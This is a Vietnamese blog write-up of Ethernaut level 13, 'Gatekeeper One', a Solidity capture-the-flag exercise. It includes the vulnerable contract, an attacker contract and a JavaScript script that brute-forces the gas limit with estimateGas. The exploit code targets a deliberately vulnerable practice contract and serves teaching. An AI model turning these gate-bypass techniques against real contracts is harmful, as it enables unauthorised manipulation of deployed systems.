Skip to content

The Ethernaut writeups: 13 - Gatekeeper One

Posted on:June 21, 2018

Update 2022 Feb: Bài viết đã được update để phù hợp với ethernaut & solidity version mới.

13. Gatekeeper One

Nhiệm vụ: vượt qua 3 cánh cổng và thay đổi địa chỉ của cửa vào

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {

  using SafeMath for uint256;
  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

Phân tích & Solution

Ta sẽ phân tích cách vượt qua từng cửa một

Cửa số 1

modifier gateOne() {
  require(msg.sender != tx.origin);
  _;
}

tx.origin sẽ là địa chỉ nguồn nơi phát đi giao dịch, là một ai đó, msg.sender là địa chỉ gọi tới hàm hiện tại

Có nghĩa là, khi ta gọi trực tiếp một hàm contract thông thường thì msg.sendertx.origin là giống nhau, còn nếu ta gọi hàm đó thông qua một contract trung gian thì tx.origin vẫn sẽ là ta, nhưng msg.sender sẽ là contract trung gian.

Vì thế ta chỉ cần dùng một contract trung gian là có thể vượt qua cửa số 1.

Cửa số 3

modifier gateThree(bytes8 _gateKey) {
  require(uint32(_gateKey) == uint16(_gateKey));
  require(uint32(_gateKey) != uint64(_gateKey));
  require(uint32(_gateKey) == uint16(tx.origin));
  _;
}

Mấy điều kiện khá là loằng ngoằng, đầu vào là một tham số _gateKey có kiểu dữ liệu là bytes8, tức 16 kí tự hexa.

require(uint32(_gateKey) == uint16(tx.origin));

ở đây tx.origin chính là địa chỉ account của mình. Ở đây mình sử dụng địa chỉ của mình, các bạn hãy thay tương ứng với địa chỉ của các bạn.

Địa chỉ của mình 0xf32fd9e7d64a3b90ce2e5563927eff2567ebd96b

uint16(tx.origin) tức giữ nguyên 16 bit cuối, tức 2 byte, tức 4 kí tự cuối của địa chỉ, là d96b. uint32(_gateKey) là giữ nguyên 32 bit cuối của _gateKey, tức 4 byte, tức 8 ký tự cuối.

Vậy suy ra _gateKey có dạng 0xxxxxxxxxxxxd96b.

require(uint32(_gateKey) == uint16(_gateKey));

uint32(_gateKey) là giữ nguyên 32 bit cuối của _gateKey, tức 4 byte, tức 8 ký tự cuối. uint16(_gateKey) là giữ nguyên 16 bit cuối của _gateKey, tức 2 byte, tức 4 ký tự cuối.

Mà 2 giá trị này bằng nhau, suy ra 4 ký tự áp chót của _gateKey phải là 0000;

Vậy _gateKey có dạng 0xxxxxxxx0000d96b.

require(uint32(_gateKey) != uint64(_gateKey));

uint32(_gateKey) là giữ nguyên 32 bit cuối của _gateKey, tức 4 byte, tức 8 ký tự cuối. uint64(_gateKey) là giữ nguyên 64 bit cuối của _gateKey, tức 8 byte, tức 16 ký tự cuối.

Mà 2 giá trị này khác nhau, suy ra 8 ký tự đầu của _gateKey chỉ cần khác 00000000 là được;

Ta lấy ví dụ _gateKey0x000000010000d96b là ok.

Cửa số 2

modifier gateTwo() {
  require(msg.gas % 8191 == 0);
  _;
}

Update 2022 Feb:

Do hiện giờ Ethereum đã update lên phiên bản mới, cơ chế về gas đã được chỉnh sửa, các tool debug như Remix debugger hay Etherscan chưa phản ánh được chính xác số lượng gas như với version Ethereum trước đây.

Nên hiện giờ ta sẽ dùng một solution khác, là brute force để biết được con số gas nào pass được.

Brute force thế nào? ta không thể gửi thử hết các transaction được, vừa tốn kém lại lâu, khả năng lỗi cao. Thay vì thế ta sử dụng estimateGas, trong trường hợp revert, hàm sẽ throw một exception. Và điểm lợi thế là ta không cần phải gửi transaction nào cả.

contract GateBreaker {
    GatekeeperOne gk;

    constructor(address target) public {
        gk = GatekeeperOne(target);
    }

    function checkgate3(bytes8 _gateKey) public view returns (bool) {
        return (uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)) &&
            uint32(uint64(_gateKey)) != uint64(_gateKey) &&
            uint32(uint64(_gateKey)) == uint16(tx.origin));
    }

    function exploit(bytes8 _gateKey) external {
        gk.enter(_gateKey);
    }
}
const estimate = async (gb, i) => {
  try {
    const est = await gb.methods
      .exploit("0x000000010000d96b")
      .estimateGas({ gas: 300000 + i });
    console.log(`0x000000010000d96b ${300000 + i} ${est}`);
  } catch (err) {
    // console.log(`${i} not work`);
  }
};
const all = [];
for (let i = 0; i < 8191; i++) {
  all.push(estimate(gb, i));
}

await Promise.all(all);

Ta tìm được 2 kết quả mà transaction không bị revert (tức không bị throw exception)

0x000000010000d96b 301342 301333 -> result
0x000000010000d96b 303541 301333

giá trị estimate thực tế chính là 301333, ta dùng làm gasLimit trong Remix là sẽ pass được qua cửa 2 này.


Old solution đã outdated

Đây chính là điều kiện khó nhằn nhất của bài, ta phải có kiến thức về debug contract để vượt qua nó. Trong bài này ta sẽ sử dụng Remix IDE để thực hiện.

Ta chuẩn bị contract trung gian như sau:

contract Backdoor {
  GatekeeperOne gk;

  function Backdoor (address _target) public {
    gk = GatekeeperOne(_target);
  }

  function enter(uint gaslimit, bytes8 key) public {
    gk.enter.gas(gaslimit)(key);
  }
}

trong đó _target là địa chỉ instance của bạn.

Ta sẽ switch qua môi trường là JavaScript VM và compile lại cả GateKeeperOneBackdoor contract để tiến hành debug.

Ta sẽ set cho hàm enterGate2 một số lượng gas đủ lớn là 500000 gas, _key thì tuỳ ý vì ta chưa động đến gateThree.

png

Ở đây tuy transaction gần như chắc chắn sẽ fail, tuy nhiên từ đó, ta sẽ tiến hành debug và quan sát xem cho đến khi check điều kiện require(msg.gas % 8191 == 0); của gate 2 chúng ta đã tốn mất bao nhiêu gas, để theo đó có thể setup số lượng gas chính xác nhất

png

Ta thấy rằng cho đến bước 61, tức lúc debug chỉ vào msg.gas, số lượng gas hiện tại là 499787 gas, step này tốn 2 gas, vậy tổng số lượng gas đã mất là 500000 - 499787 + 2 = 215

png

Do đó ta chỉ cần điều chỉnh số lượng gas là 215 + 8191*100=819315 là đủ, sở dĩ nhân với 100 để đảm bảo sau khi qua gate 2 ta vẫn còn đủ gas để đi tiếp vào gate 3:

png

chạy lại, ta thấy vẫn lỗi, tất nhiên rồi vì đã qua gate3 đâu, tuy nhiên nếu bật debug lên thì ta thấy là đã qua gate 2 rồi. Ngon.


Submit

png

Kiểm tra lại xem entrant đã đổi thành địa chỉ của mình chưa ?

> await contract.entrant()
> "0xf32fd9e7d64a3b90ce2e5563927eff2567ebd96b"

Submit && All done!

completed

Bình luận

Đây là một bài tập hết sức khó nhằn, yêu cầu rất nhiều kiến thức tổng hợp. Từ kiến thức về msg.sender, tx.origin, cho đến overflow dữ liệu, đồng thời phải biết cả debug transaction, hiểu về khái niệm gas trong giao dịch. Thực sự mình đánh giá đây là một trong những bài tập khó nhất của chuỗi CTF này.

Enjoy coding!